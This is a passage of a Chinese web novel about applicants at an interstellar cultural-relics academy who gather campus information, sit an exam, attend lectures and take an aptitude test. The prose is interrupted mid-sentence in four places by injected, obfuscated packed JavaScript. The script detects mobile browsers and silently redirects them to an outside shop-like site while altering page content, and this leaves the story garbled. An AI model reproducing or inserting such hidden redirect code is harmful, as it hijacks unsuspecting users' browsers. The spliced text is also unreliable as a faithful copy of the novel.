陈昭文关上厕所门逃似得跑出来，不知是对荀玉和崔晗说，还是试图说服自己：“他们只是在考试罢了，一切为了考试，为了考试……” 还在做苦力的老赵发出了怒吼：“靠！你到底洗干净了没有？！” …… 星一院占地六千多亩，百余栋建筑楼里零星分布着各种信息。这些信息质量参差不齐，一部分甚至前后矛盾，如果不加以辨别能误导一众考生。图书馆、学生信息大楼、低级实验室等信息明显集中的地点人满为患，荀玉三人为了节省时间彻底分开。 崔晗留在学生信息大楼，陈昭文去了低级实验室，荀玉负责推进地图。 时间在迅速流逝。 九点四十五。 【**&%群聊已建立】 【W217S##00000】：“地图.JPG” 【W217S##00000】：“瑶瑶，到时间了。” 【W216SDD662838】：“收到！我这就出来。” 姚瑶将最后一个字录入到光脑中，头也不回地离开了图书馆。 她边跑边看荀玉发过来的地图，一条以图书馆为起点的最快行动路线映入眼帘，每个建筑标识旁边都写着密密麻麻的批注。 姚瑶下楼左拐，从图书馆3号出口离开，径直奔向3号出口对面的办公楼。直行，右拐，2楼档案室有关键信息收集，姚瑶用光脑匆匆扫过，马不停蹄从左侧门离开进了6号教学楼。6号教学楼于顶层设有一处名人校友展，姚瑶跟随路线右拐跨阶梯冲刺，越过还在各楼层搜索的人群，目标清晰地奔向目的地…… 低阶星球的居民体质偏弱，姚瑶短时间内剧烈运动导致嘴唇煞白，但她一刻也不敢停，荀玉在离开图书馆前说得话犹在耳畔。 “你们翻翻，考试系统本身就带自动定位功能，但现在光脑的定位也被启动了。我和崔晗确认了一下，光脑定位能够根据个人行动路径、停留时间生成轨迹分析分析报告。再加上我们手里有一份详细的地图，按理来说如果探索学院收集信息是我们的考核任务，那这一份地图反而大大降低了我们的难度。” “你是说……这份地图反而转移了我们的注意力？点亮地图图标并不算我们真正的任务？”崔晗马上跟上荀玉的思路，紧跟着问她。 “嗯，我怀疑这只是最基本的一部分。如果收集信息的速度、方式、信息质量等等也算考核内容的话，我们就不能按部就班搜下去了。”当然，也不能走捷径，毕竟“不限方式”这种话的暗示意味过于明显。 “瑶瑶，时间一到我就把我们的行动路线发给你。如果体力允许，你就在尽可能点亮图标的同时，去信息收集处录入信息，不用太清楚，只要打卡成功就行。后续体力不支就先保证赶上我们的进度，推进地图才是第一位。” “老师有意在刻意模糊信息，但他们的态就度说明了问题。这场测试虽然和能否入学无关，但如果我们顺利通过了明天的测试，它或许能在我们入学之后起到重要作用。” 姚瑶步伐慢了下来，安全通道里回荡着她沉重地呼吸声。她没有停，而是继续以缓慢的速度前行。 如果她有权限查询系统后台，就会发现她的地图推进指数在不断上升，分数已经涨到了中游。 学院另一处， 已经将地图推进二分之一的荀玉却停了下来，她在新到达的信息处面前思索良久，迟迟没有离开。 此刻她手里的纸条与13号教学楼给出的信息大相径庭。 【W217S##00000】：“信息有误，注意甄别。” 【日月星是晗晗】：“明白。” 【W216SDD497785】：“靠！明白。” 荀玉席地而坐，已经收集到的信息和资料在她脑海中反复对比。每一处的信息都凌乱琐碎，在高强度的搜寻下，学生拿到信息后很难集中精 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067702|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力思考其中的内在逻辑。更何况他们下意识以为学院提供信息都是对的，就连荀玉也陷入了这个误区。 除了图书馆、学生信息大楼等海量资料需要她们四个人汇合后统一交流，其他信息荀玉全部见过。学院信息必定能够相互关联，自成体系。这些信息即能相互矛盾，又可以相互佐证，帮助荀玉更快辨别出正确的答案。 她打开光脑，将不断丰富添加的地图推倒重来，开始制作另一个版本。 十一点四十。 【W217S##00000】：“地图2.JPG” 【W217S##00000】：“不好意思，晚了一会。” 【日月星是晗晗】：“辛苦，我尽快。” 新的地图与上一个版本截然不同，建筑图标旁边的标注被荀玉分成了三种颜色，绿色为已经确认正确的信息，黄色待定，红色错误。行动路线也因此分成了三条，绿色直通线避开了一系列干扰信息，去的地点最少，路线也最短。黄色红色线绕路较远，点亮的地点多，耗时较长。 【W217S##00000】：“收集到的干扰信息过多可能也影响评分，大家视情况而定。” 【日月星是晗晗】：“我体力比较充足，走黄色线去帮你。” 【W216SDD662838】：“从图书馆出发的路我点亮一半了，现在走绿色线。” 下午一点。 【W217S##00000】：“地图3.JPG” 【W217S##00000】：“昭昭。” 【W216SDD497785】：“收到，我跑得快，走红色。” 荀玉四人需提前半小时汇合交流彼此的信息，因此她们还剩下半小时自由活动的时间。 崔晗着重排查黄色信息，她比荀玉多收集了信息大楼的资料，能够在荀玉判断的基础上再排除一部分。姚瑶从最远的图书馆一路追赶，换成绿色路径之后压力明显小了一些，此时她离荀玉最近。陈昭文导入低级实验室资料后，手握地图，不管三七二十一只要是建筑就往里冲，她对于答题心里犯怵，力求能在地图上以量取胜。 下午一点二十。 【W217S##00000】：“地图4.JPG” 这是最后的版本，所有行动路线交汇在了她们最终要抵达的目的地。 崔晗三人立刻掉头冲向汇合点，避免因自己的迟到耽误大家的考核进程。 荀玉发出地图后时间还有剩余，于是又检查了周边不起眼的角落，从犄角旮旯里抠出两条信息。 随着答题时间越来越近，一大批学生变得焦躁起来。他们慌不择路，四处探听他人的信息，甚至产生了肢体冲突。更有甚者去了两个地方后再也没有动过，灰色地图上只孤零零点亮了几个建筑。 下午一点半。 四个人同时在汇合地点碰面，荀玉选了一个相对僻静不易被人打扰的小树林作为她们的目的地。 陈昭文气喘吁吁地倒在地上，“让我缓缓，让我缓缓……” 姚瑶双手撑着膝盖，累到说不出话来。 崔晗找了个干净的地方坐下，整理起她的资料。 G113巡视器从树林上空经过。 监考室内，匡文婷双手抱臂，看着她们四人评价了一句：“不错。” 12. 专业指导（3） 荀玉最先抵达树林，体力是四人中恢复得最快的，她调出录入光脑的资料，“时间紧迫，我先来。每个人七分钟，挑最紧要的说。” 他们并不知道考核测试要考什么。除了崔晗对星一院部分信息有所涉猎，荀玉三人皆半斤八两，这就注定了他们不可能在短时间内深刻理解并掌握专业知识，所以关于学院、专业、文物研究史等方方面面势必都要了解。求多不求精，只要每个问题都能写上两句就行。 荀玉去的地方最多，手里的信息对错掺半，琐碎程度令陈昭文为之惊叹，单单经过筛选后确认准确的信息就多达二百三十条。 崔晗经排查后又从百余条黄色待定信息中筛选出了七十二条，在荀玉复述过程中见缝插针进行补充，两人一唱一和，配合意外密切。 学生信息大楼等专门存放资料的地方掺假的可能性并不高，崔晗快速交代完自己那一部分，把时间留给了陈姚二人。 低级实验室内容精简，文物专业词汇含量在25%至40%之间，陈昭文舌头都在打结。如果不是这关系到她们四个人的命运，她能直接枕着这些资料睡过去。 而姚瑶汇总的信息有足足四万多字，她几乎将所有可能与考核有关的书籍统统翻了一遍。 四个人在最后十分钟打了一场争分夺秒、心惊肉跳的突击战，删删减减啃下了图书馆资料的两万字。 两点整。 【专业指导课程之考核测试，考试作答正式开始，请各位同学尽快进入考试系统进行答题。】 【考核题目顺序随机，请认真审题。】 【系统提醒，进入考试系统后不得中途退出，违规者一律强制交卷。】 陈昭文长长呼出了一口气。她甩了甩因长时间紧绷而颤抖的手，暗自激动，太好了，终于开始考试了。 荀玉四人各自找了个地方坐下开始考试，对于独立作答这件事倒是十分默契。 【W217S##00000——荀玉，是否确认进入考试系统】 【确认】 【加载中——】 【加载成功，请作答】 【第一部分，简答题。】 【问题一：源感力等级如何划分？划分依据是什么？】 荀玉首先遇到了简答题，这个问题她与姚瑶搜集的信息中各自提到了一部分内容。荀玉组织了一下语言，缓缓敲下自己的答案。 刻入身体基因的应试技巧被重新唤醒，荀玉感到了一股久违的宁静。她曾通过一场场考试获得文物研究的入场券，抵达过行业的巅峰，每一场考试都意味着人生中新阶段的开始。 就如此刻，她在输入答案的一瞬间，像这个世界千千万万人一样，彻底融入了未来星际浩瀚的文物研究历史进程。 没有人注意过她能走多远。 【答：源感力分为四个等级，A、B、C三级为职业等级，是成为文物研究员的条件之一；D为检测等级即入门等级，通常不具备行业资格。由于职业特性，联邦允许学院培养源感力D级研究员进行基础性工作。源感力具有可塑性，经过锻炼与经验累积，源感力可由C级变为C+，B级变为B+等，但很难实现跨等级跃升。】 【源感力即精神能力者对文物溯源之力的感知能力，一般通过对源力的捕捉能力、精神力活跃程度进行判定，能力越强，等级越高。】 【问题二：什么是文物专业？星际第一研究学院将其划分为哪几个部分？】 【答：一般来说，文物专业是一个相对广泛的概念。星际第一研究学院将文物专业划分为文物研究专业和文物文字研究专业两个体系。根据研究方向的不同，两个研究体系之下又可分为鉴定专业、修复专业、设计专业三大类型。】 【其中，鉴定专业主要研究并判定文物年代、文物用途、可修复程度与任务量，制定修复章程等，是一门溯源文物历史、关系源纹主要性质的学科。修复专业主要研究恢复文物纹理，修复文物源力，探测追踪源力行动路径并汇出源纹，是一门实践导向型的学科。设计专业则根据文物特点、文物源力活性、源纹功能与性质等，为特定行业、特定目的设计具备特定用途的应用型源纹，是一门具有较强交叉性质的学科。】 【问题三：请绘出星际第一研究学院重大事件时间轴。】 …… 【第二部分：选择题】 【问题一：截止到文澜二百三十三年七月，星际第一研究学院共有八十九任院长。请从下列人像中，选出星一院现任院长。】 一个不修边幅的老人突然出现在光脑屏幕上，荀玉分外平静地选择了他。 没有人知道，她在6号教学楼名人校友展上看见仲老的头像和写满半面墙的履历时，内心经过了什么样的惊涛骇浪。尽管她心里明白仲老绝不是什么简单的人物，快快乐乐秘书小姐也给她科普过仲老的地位，但荀玉还是迎来了正面冲击。 她想起仲老足以将几岁小孩吓哭的尊容……失敬失敬。 【问题二：星际第一研究学院坐落于哪颗星球？】 【B.715号B级星球】 【问题三：星际第一研究学院校训是？】 【C.自立自强，守正创新】 【问题四：星际第一研究学院的标识是？】 【A.图片.JPG】 …… 【第三部分：开放性论述题】 【问题一：你认为什么是文物？】 荀玉答题速度慢了下来。 在荀玉建立的知识体系中，文物是具体物质遗存，是有史可查、客观存在的。经过漫长的文明传承断裂时期，“文物”一词再度被使用时，已经抽象为了意识存在，与荀玉所知的内容相差甚远。在未来星际，“文物”的内涵更为广阔，随之演变而来的源纹体系更是文澜二百多年动力革新的核心。 【文物是旧人类在古文明时期遗留下来的具有历史、艺术、生产与创造价值的遗存。它是人类宝贵的历史文化遗产，是新人类赖以生存的基础。文物具备物质与意识双重属性，为新人类精神力探查而产生不可估量的能源价值。古文明遗留下来的文字、文物、礼仪、规章制度与其他古文化表现形式，皆可纳入“文物”范畴。】 【……】 【物质文物是有限的，在可预见的未来星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067703|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际，物质文物极有可能会凐灭在新人类社会发展中。意识文物是可持续的，它能被新人类探测与应用。不论哪种文物形式，新人类在古文化传承方面有着难以想象的阻碍，能源枯竭将是我们面临的重大难题。未来星际，如何平衡文物资源与社会发展，是联邦制定发展战略的首要政治任务。】 【问题二：你认为什么是文物研究员？】 【从社会与学术性质上看，文物研究员是由文物研究院认定、联邦政府认可的进行文物研究的职称，一般可以通过学院学习与社会考试两种渠道获得。从精神力方面看，文物研究员是精神能力者研究系的分支，他们一般具备源感力，精神力异于普通人类，因此可与其他精神力活跃者统称为精神能力者。】 【文物研究员根据研究专业不同，可以分为文物鉴定师、修复师、设计师与文物基础工作者、文物行政工作者等等。具备相应的学术能力与职业经验后，可通过文物研究院考核获取初级、中级、高级文物研究员资格证，从事更高水平的研究工作。】 【文物研究员这一职业的兴起，与未来星际的历史发展息息相关。在短短二百年间，文物研究员一跃成为整个联邦行业的新星，是人类文化与社会发展的璀璨明珠……】 【他们掌握文物研究领域内的最新进展，站在能源革新的时代前沿，身负人类与社会发展的重担……】 【问题三：请你预测一下文物研究的未来发展态势】 …… 一个小时度秒如年，也转瞬即逝。 交卷弹窗出现在光脑屏幕时，饶是荀玉也生出一股“解放了”的轻松。 【考核测试已结束，正在交卷——】 【交卷成功，祝各位同学心想事成。】 “终于结束了！天杀的考试，我们连午饭都错过了。” 陈昭文对着题目抓耳挠腮，恨不得把她录入进光脑的资料一股脑抄上去。她左看看崔晗，右看看荀玉，她们都低着头奋笔疾书。就连蜷坐在石头上的姚瑶也一心一意作答，没分出半个眼神给陈昭文。 她痛苦地揪着自己的头发，她就知道，她不是答题的那块料。 “时间不算晚，”崔晗看了眼光脑，“我们现在去餐厅说不定还有饭。” “那还等什么，我们快去吧！”陈昭文从地上爬起来，她一把拽过荀玉和姚瑶，“你俩别磨叽，拿出考试的劲头，快走！” 荀玉被一只强有力的手推搡着向前走，她幽幽看了陈昭文一眼：“你要是答题的时候有这么兴奋什么做不出来。” 陈昭文一听就头大，她捂着耳朵向前跑去，“杀人诛心啦！杀人诛心啦！” 姚瑶对着已经远去的背影咯咯轻笑。 崔晗的酒窝浮现在她的脸上：“既然昭昭已经去了，那我们就不急了。” 好像糖心小圆子…… 荀玉眨眨眼，随后移开视线耸肩说：“本来就不用急。饭空那个点大家都在考试，没有吃饭的才占大多数。” 餐厅又一次热闹开张的同时，考试系统默默在后台计算答题分数。 一份有关报名学生考核测试的成绩单正在生成中。 13. 专业指导（4） “你们怎么才过来？我们早都吃饱了。” “考核不是刚结束吗，你们也太快了吧。” “嗐，老师都说了那个考核跟能不能入学无关，你们都瞎忙活啥啊。到了饭点早早来吃饭才是正儿八经的大事，天下没有免费的午餐，以后想吃都吃不着了。” “就是，我们去了两个地方直接来餐厅了。你们在外边跑了一中午还不一定有什么收获呢，哪有热乎的饭来得划算。” “还是你们聪明！我跟着他们跑了那么老些地方，最后才反应过来压根没必要。学能不能上还得另说，人先累个半死。” “要我说干脆第一天测完源感力走人得了，白白浪费两天时间，屁用也没有。” “第一天就走人你怎么吃饭？怎么睡觉？在外边吃喝拉撒哪个不要钱？星一院为期两天的专业指导倒是省了我一大笔钱。” “对啊，你是不是傻，白给你的便宜都不占。” …… 抱有类似想法的人并不在少数。 荀玉端着盘子坐下，午餐照旧是小米汤和两个没什么馅的包子。与早上不同的是，学院给每个人多发了一瓶营养液。 “原来真的会有人不参与考核测试。”姚瑶小声说道，不明白这么来之不易的机会他们为什么不珍惜。 “我就算再不会考试好歹也硬着头皮做完了，是好是坏做了再说，万一就成功了呢。”陈昭文嘴里塞着包子，边吃边回味刚刚做题的情形。忽略荀玉她们和她的对比，她觉得自己完成得相当不错。 “刚刚探索学院的几个小时，比得上我在D星半辈子的见识了，就算没留下来也没关系……”姚瑶咬咬唇，咽下了没说完的话。 荀玉拿包子的手顿了顿，然后把包子掰成两半放进了姚瑶和陈昭文的盘子里。 她将崔晗吃剩的盘子换到自己面前，头也不抬地说：“距离指导公开课只剩半个小时了，去晚了小心挨骂。” “那还是快点吧，我可不想丢脸。”陈昭文顺着荀玉的话打了个哈哈，揭过这个话题，仔细一听语气中还带着几分抗拒。 一顿饭吃得甚是沉默，崔晗有心调节气氛又害怕弄巧成拙。 指导公开课分别对应着早上的指导老师，四个人一路无话，走到教学楼前。 “有什么想问的、不明白的就去问吧。联邦最有地位的文物研究员，多少人梦寐以求想要见上一面。我们这么好的机会，过了这个村可就没这个店了。” 荀玉亮出光脑上的文件，“我还整理了出了一堆问题，这么宝贵的答疑解惑时间，白白浪费掉多可惜。” “一名初级文物研究员的演讲一分钟价值两万积分，中级文物研究员一分钟价值五万积分。”有荀玉主动打破沉默，崔晗也放下了心理负担，她笑眯眯地指着她们手上的时间表，“公开课一共四个小时，你们算算一共多少钱。” “嗯？！” 正在戳弄光脑的荀玉雷达悄无声息地响了。 “一分钟五万，一个小时……就是三百万，四个小时……四个小时几个零啊？”陈昭文眼睛都直了。 “一千二百万。”姚瑶掐着手指头严肃地说。 荀玉机械地转过身向教室走去。 “你干嘛去啊，等等我们。”陈昭文在后面喊她。 崔晗回忆了一下荀玉经过她旁边时的自言自语。 “嗯……一分钟五万，那一秒就是八百积分。她说刚才我们在这讨论了一分零九秒，也就是足足损失了五万七千二百积分。” “！” 这下连姚瑶也顾不得伤感了。 “还愣着干嘛，快去上课啊！”陈昭文扯过崔晗，去追已经跟着荀玉跑远了的姚瑶。 钱！ 浪费的每一秒都是金钱！ 熊熊烈火在她们的胸口燃烧。 崔晗理解不了她们的热情，她被陈昭文拖着一路趔趄，只觉那股火烧到气管要把她呛死了。 时针指向整点。 四个人齐齐踏入各自的教室。 时长四个小时的指导公开课正式开始。 “虽然从事文物工作的统一被称为文物研究员，但研究领域、研究方向、甚至是个人的研究风格都会导致每个人的职业生涯大不相同。相应的研究专业对应相应的职业称谓，文物研究员是最为广泛的职业概念。” “学院成立之初，每年都有相当一部分学生对自己的专业产生无趣、逃避甚至恐惧心理。就在去年，依然有高年级学生在更改自己的专业。如果你对各个专业不够了解，对自己未来职业规划不够清晰，就会多走一段没有意义的弯路。” “相信你们经过考核测试，已经建立了对文物专业的初步认识。下面我们就细细看一下这些专业到底在研究什么，你们对文物专业的理解是否正确。” “……” “视频上放得是文物研究修复专业的招生宣传片，里面还附上了二至四年级的修复作品与去年联邦第九十八届文物交流赛的内容。” 匡文婷对了眼表，“还剩四十五分钟，有什么问题举手问。” 荀玉在第一排果断举起了自己的手。 匡文婷对这个学生有点印象，她点了荀玉：“你问。” “老师，请问您在修复文物时会产生什么样的感受？” 匡文婷思索了片刻，她目光扫过荀玉和下方坐着的众多学生，一字一词说得十分清晰：“最开始晦涩、艰难，觉得源力难以捉摸。经过高强度练习后，熟能生巧，自然能在一定程度上把握源力动向。时间一长，文物研究员本身对于源力的亲和度就会提高，修复文物的难度也会随之降低。” 像匡文婷这种长时间与文物打交道的研究员，源感力会惯性向外延展在他们身边形成独特的磁场，从而增加对源力的吸引力，帮助他们在文物研究领域更如鱼得水。 荀玉将匡文婷的回答记录下来，继续问下一个问题：“老师您在修复文物的过程中遇到源感力枯竭这种问题如何处理？” 匡文婷眉头一跳，“源感力枯竭这种词不能随便使用，一名文物研究员，更准确的来说，一名合格的文物修复师，是不会对自己的身体做出如此不负责任的行为。一旦医学上判定源感力枯竭，那么这个人极有可能会断送自己的文物职业生涯。” 语速过快，神情严肃，看来是个值得注意的问题。 荀玉在自己的小本本上又添了一笔。 “如果一个人在不知道自己源感力等级的情况下，文物修复有可能会成功吗？” 教室里的学生轰然大笑。 “联邦都更新换代多少年了，今年是文澜二百三十三年，又不是文澜三十三年，她怎么连这种问题都不知道？” “她什么都不知道来当什么文物研究员，回家做苦役去吧！” “……” 荀玉站在桌前，像是听不见底下的声音般，一双眼睛炯炯有神地盯着匡文婷。 她已经确认过了，这些问题别说陈昭文和姚瑶，就连崔晗也只知道结果，解释不出原由。她只是一个来自废星的贱民，无知一点相当符合自己的人设。 匡文婷教学多年，见过的学生数不胜数，虽然不知她在搞什么名堂，但仅从简简单单几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067704|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个问题就能看出荀玉确实有自己的想法，然而这种学生往往有着难以对付的共性。 她揉了揉眉心，“你先坐。” “……哦。”荀玉莫名觉得匡文婷瞪了她一眼，她有些替自己感到委屈。 不懂就问、勤奋好学难道不是一项优点吗，这种学生难道不是老师的心头宝吗？！ 匡文婷陆陆续续点了几个人，确保学生没有疑问之后，走下讲台站到荀玉面前。 “你在没有测定源感力之前尝试过修复文物？” 荀玉义正言辞：“没有。” 匡文婷接着问：“什么时候的事？” 荀玉提高音量，“报告老师，我没有。” 匡文婷语气不变，“源感力被消耗得一无所有之后，你通过什么办法恢复的？” “……营养液。” “身体素质太差，体力营养都很缺乏，精神力不够强大，总得来说就是供给比不上消耗。” 匡文婷双臂环在胸前，不咸不淡打量了她一眼。荀玉汗毛耸立，下意识挺起了胸膛。 “看着也不傻，自己什么条件不知道吗？下次别这么不自量力。” 荀玉泄了气：“……哦。” 妄想走捷径擅自使用源感力的学生不是没有，说得好听点是初生牛犊不怕虎，直白来讲就是自断生路、愚蠢至极。她不把事情讲得严厉些，这些小屁孩的脑子就记不住。 匡文婷训完人，看着时间也差不多了，于是拍拍衣服走出教室。 “唉……” 虽然不知道具体等级，但她的确能确认自己具备源感力。可自从绘出觥纹后，她再也没能和文物源力建立起精神联系。体内的源感力像是一潭死水，不论荀玉怎么灌营养液，依然没有再度活跃的迹象。反倒是废星上的变异巨鼠，已经吃过好几轮图纸上的源纹了。 说起变异巨鼠…… “荀玉玉，教室就剩你啦，还不走！”陈昭文的声音在教室门口响起，打断了荀玉的思路。 “来了。” 荀玉会神，起身向教室外走去，崔晗她们正在讨论今晚的公开课。 “我问了好多蠢问题，差点闹出了笑话。”姚瑶脸上的红晕还没消散，“可是我一想你们说得话，又觉得这种机会不能浪费，还是厚着脸皮问了。” “何止，我差点和那群上等星球的人打起来了，一群自以为是东西。真什么都懂怎么不直接去当文物研究员，在这跟我叨叨赖赖。”陈昭文撸起袖子热血上头，一转头对上崔晗葡萄般的眼睛。 热血瞬时凝固。 “……哈哈，那个……我没说你啊晗晗。” 崔晗其实没反应过来陈昭文说到哪个点子上，不过既然她安慰她了…… “……哦。”崔晗声音低落，佯装受伤。 “我差点和上等星球的人打起来了～自以为是的东西。”荀玉与陈昭文擦肩而过走到了最前面，轻飘飘把话扔在陈昭文头上。 崔晗心领神会，低下头，手指捏着自己的衣角，“上等星球……我出身B星也有错吗……” “不是不是，我没有那个意思，晗晗你是知道的。”陈昭文急得围着崔晗打转，“晗晗我真不是说你，哎呦。荀玉，荀玉！你给我站住！” …… 欢声笑语充斥在学院的每个角落，没有人去提明天的源感力检测，没有人去想明天之后大家会何去何从。 或许有，只是没人说出来。 荀玉不紧不慢向前走，已经离身后的世俗几百米远了。 夜幕高悬，人造星星如天设，和人间没有一丝区别。 14. 专业指导（5） 早上七点，光脑响起了摄人心魄的起床铃。时间表已经跳转至新的内容上，“源感力检测”这一栏标着待办事项的黄色。 陈昭文把头埋进被子里，“这么早，我还不想起床。” 姚瑶声音也闷闷的，“我也没睡醒。” 众人都知道起床后将会面对什么，她们极有可能在今天走向各自不同的命运。 但避而不谈实在不是一种好的办法。 “晗晗，荀玉玉，你们难道不害怕吗？”姚瑶看她们二人脸上风轻云淡，没有一丝担忧的迹象。 “爸爸之前帮我找专业机构检测过，检测结果说我比较适合进文物研究学院学习，所以我才报名的。”崔晗微微一笑，左脸的酒窝看起来和它的主人一样羞涩。 既然是经过检测后报名，源感力等级必然不低，“适合”只是比较谦虚的说法。 荀玉再次尝试调动身体里的那股特殊的能量……嗯，果然，缩头缩脑，一动不动。 她无奈地说：“听天由命吧。” 餐厅的氛围与昨天截然不同，骚动之下藏着几分焦虑。 “你们听说了吗，昨天伪造身份编码的那个人，是个星际流浪者，据说他之前在其他学院也被拆穿过。” “只有犯了造成严重社会动荡这种大罪的人才会被放逐为星际流浪者，按理来说他们出入联邦是需要受到严格限制的，他怎么会混进来？” “你们为什么只关心他怎么进来的？他伪造身份混入学院肯定别有目的，万一对我们造成人身威胁怎么办？” “他既然已经混进来了，想必该干的事情都干成了。他们这种人要是真想对你下手，你怎么死的都不知道，还能坐在这里瞎想？” “星际流浪者真有你说的这么厉害？” “你不知道？星际流浪者别称可是星际屠夫，曾经他们攻下联邦边陲一颗星球，屠光了上面所有的人。” 陈昭文惊得筷子都掉在了饭桌上，她凑向崔晗小声问：“他们真这么凶残吗？” 崔晗苦想了一会儿，无果，只能抱歉地回她：“爸爸一般不太让我接触这些消息，所以我也不知道。” 姚瑶雀跃地加入了她们的对话：“我知道我知道。” “哎？你怎么会知道？”不怪陈昭文是这个反应，毕竟D星的消息阻塞水平大家心里都有数，按理来说她们知道的信息都是没差的。 “我家附近住着一家从上等星球搬来的居民，他们消息比较灵通。我原先好奇，跟着一起凑过热闹。” “星际流浪者有一个他们公认的组织，专门游荡在太空制造恐怖袭击，但他们内部并不和谐。据说屠城事件刚好发生在他们内乱最严重的时候，整个星球四百六十万人被屠的一干二净。后来联邦发动反击，他们也因此遭受重创。总之联邦和星际流浪者谁都没有讨到好处。” “我天，”陈昭文大气不敢喘，“我以为联邦进入文澜年代就不会再发生这种事情了。” 荀玉胃口照旧很好，她听着几人的对话，满足地将两个盘子叠在一起。 崔晗见状起身，小声叮嘱道：“这里人多，别探讨得太深了，小心隔墙有耳。” “也对，我们先走吧。”陈昭文示意自己闭麦，对姚瑶的嘴巴做了个拉上拉链的动作。 姚瑶惊恐捂住嘴巴，忙不迭点头。 …… “摸到检测仪后，摒弃一切杂念，全身心接受能量灌入。检测途中一旦出现危及生命的情况，切记不要匆忙抽离，示意老师进行专业救助。” “再重复一遍！注意，一定要全身心接受检测仪检测，遭遇突发状况不要擅自处理，相信老师比你专业。” “再重复一遍……” 广播声环绕在众人头顶上空，路上还在嬉闹的人群听清内容后霎时安静下来。前方已经排起了长长的队伍，检测场地内除了广播声只剩下死一般的沉默。 “签字。”坐在入口处的老师头也不抬，将一张薄薄的纸扔给荀玉。 荀玉从半空中捏住那张纸，上面粗黑色标题写着：源感力检测免责协议。 协议责任划分明确，赔偿恰当合理，表达的核心观点就是本人生死与学院无关，绝不会让学院赔得倾家荡产。 荀玉：“……” 很符合星一院的风格。 崔晗她们被引导去了别的入口。荀玉签了字按上手印，跟上了前面的队伍。 “下一个。” 轮到检测的报名生强装镇定地坐下。 “听清楚广播要求了吗？”老师问。 “嗯嗯，我都记住了。”报名生连连点头，好给老师留下良好的印象。 老师见状皱眉，“别紧张，放松。” 报名生看起来比刚才更加僵硬，“我，我不紧张，老师。” “不用紧张，只要按照要求来，检测仪不会对你产生副作用的。” “嗯嗯嗯，我不，不，不紧张。”报名生点头点出了一片残影。 老师不再说话，示意他开始。 报名生将已经变得冰凉的手放到检测仪上，摸到检测仪的一瞬间，一股强横的能量直冲他的脑海，剧烈的疼痛差点让他将手中的检测仪扔出去。 不行，忍住，他要忍住。家里把最后的积蓄拿出来送他来这里，他不能止步于此。 妈妈……妈妈还在医院等他，这是他最后的退路了。 只要他成为文物研究员，就可以改变全家人的命运，他再也不用睡在漏雨的破房子里了。 报名生额头青筋暴起，正处在强压之下的他丝毫没有察觉此刻他的面目多么狰狞。他的心里只有一个念头：他必须成功…… “松手！松手！” 医护老师冲上前，使用电流强行让报名生脱离检测。 “空有执念没有能力，是做不成文物研究员的。带下去。”老师一锤定音。 报名生从一片迷离中清醒后，听到的第一句话就是老师对他的审判。 “不！我可以，我肯定可以，再给我一次机会！老师，老师求求您再给我一次机会。” 报名生试图从老师的控制中挣脱出来，声嘶力竭，“老师求求您了！家里人说我有学文物的天赋，您再给我一次机会，您让我再试一次！” 乞求的声音越来越远，直至还在排队的人再也听不见。但他的声音像是撞向残钟的钟杵，一下一下撞击在众人的心口上，沉闷破败，回荡着令人耳鸣的颤音，无人作响。 沉默继续蔓延。 老师见怪不怪，甚至淡定地喝了口水，“下一个。” “C级！我是C级！” “亮了！检测仪亮了！我也有源感力，我也能成为星一院的学生了！” “不可能，他们都有源感力，我怎么可能没有！老师，老师您再让我试一次……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14067705|149346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“又一个B级！” 具有源感力的人可以向东拐进学生信息大楼进行专业报名，而没有通过检测的那些人不得不回临时宿舍收拾行李打道回府。 所有人的命运短暂交汇于一点，然后就此分离。地位崇高的文物研究员和挣扎于生计的下等人，这辈子极有可能再也不会见面。 摸上检测仪的一瞬间，他们就注定隔了一道天堑。 太阳斜斜地挂在天上昏昏欲睡。不知过了多久，终于轮到了荀玉。 荀玉走上前。 “要求听清楚了吧？把手放上去。” 源感力检测仪是一个模仿文物形状的黑色探测器，从外表看上去平平无奇，像废星上荀玉下水道门前的石头。 荀玉回想广播的要求，深呼吸，将手缓缓放在检测仪上。 “哗——” 似海浪一般的声音拍打在荀玉脑中，只一秒便彻底消失不见，短暂到荀玉以为自己幻听。 